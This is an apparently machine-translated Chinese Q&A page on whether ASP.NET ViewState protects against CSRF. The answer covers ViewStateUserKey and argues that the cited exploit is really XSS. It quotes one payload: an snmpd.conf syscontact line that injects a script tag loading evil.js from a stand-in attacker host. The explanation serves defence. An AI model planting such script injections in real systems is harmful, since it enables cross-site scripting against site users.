在什麼情況下請求中的視圖狀態可以防止CSRF攻擊? This exploit聲稱即使視圖狀態出現在請求中,它仍然容易受到CSRF的影響。然而這個漏洞並不能解釋爲什麼會出現這種情況。viewstate什麼時候停止CSRF?它何時失敗?
1
A
回答
1
viewstate是一種意味着持續跨回發的視圖狀態(即控件的屬性值)。如果這個狀態可以被攻擊者猜出或者僞造,那麼攻擊者也可以僞造一個真實的跨站請求。
在mentioned case,似乎攻擊實際上需要一個跨站點腳本漏洞的CSRF攻擊:
通過XSS和CSRF的組合,用戶可以添加到Web應用程序通過配置snmpd.conf文件到指向一個攻擊者控制的JavaScript文件:
syscontact <script src="http://attacker/evil.js"></script>
所以具有目標原點內執行的攻擊代碼,該請求僞造攻擊不是「截面-S ite'。除此之外,由於視圖狀態在某些情況下可以預測,因此不能防止CSRF攻擊,供應商向視圖狀態機制添加了一些不可預知的信息。在ASP.NET中,這被稱爲ViewStateUserKey property,它基本上是每個用戶的私有密鑰,用於視圖狀態的MAC計算。
但由於該漏洞的描述說,似乎他們已經在使用這樣的保護措施:
[...] NPM也容易受到CSRF攻擊,儘管它利用VIEWSTATE保護的事實。
因此,這又是一個跨站點腳本漏洞,而不是跨站點請求僞造漏洞。因爲如果您已經能夠從網站內執行JavaScript代碼,則您已經完全控制網站。
相關問題
- 1. 什麼時候fopen失敗?
- 2. 什麼時候應該停止服務
- 3. 什麼時候停止CNN學習
- 4. 什麼時候會put()失敗?
- 5. 什麼時候值得壓縮ViewState?
- 6. 當JUnit失敗時,如何停止Maven?
- 7. intn_t什麼時候使用它,什麼時候不使用
- 8. 當我停止錄製時MediaRecorder失敗
- 9. 斷言失敗時循環停止
- 10. 什麼時候應該停止擴展CSP的視野?
- 11. 什麼時候該停止訓練我的模型?
- 12. 我的正則表達式不知道什麼時候停止
- 13. 函數或方法什麼時候會停止執行?
- 14. 什麼時候應該停止單元測試
- 15. 什麼時候停止從文件讀取?
- 16. 什麼時候停止UIViewController接收委託調用
- 17. 碼頭集裝箱什麼時候停止?
- 18. 蘋果什麼時候會停止支持以前的iOS?
- 19. Django CSRF失敗 - 可能的失敗原因是什麼?
- 20. 什麼時候在Linux中檢查文件失敗
- 21. 爲什麼有時候jquery點擊事件失敗?
- 22. 爲什麼有時候在git合併後nuget包失敗
- 23. IID_IMediaControl停止它時
- 24. 我什麼時候需要使用ViewState的
- 25. 什麼時候「open」命令終止?
- 26. 陶OpenGL框架SimpleOpenGLControl - 它什麼時候重繪,什麼時候不會?
- 27. 什麼時候證書對象失效?
- 28. 什麼時候它太「lambda行動」?
- 29. Symfony sfFormFilters - 你什麼時候使用它?
- 30. ServerSocket.close()。它什麼時候拋出異常?
這是一個真正的asp-classic問題還是你的意思是asp.net? – AnthonyWJones 2012-07-22 20:51:50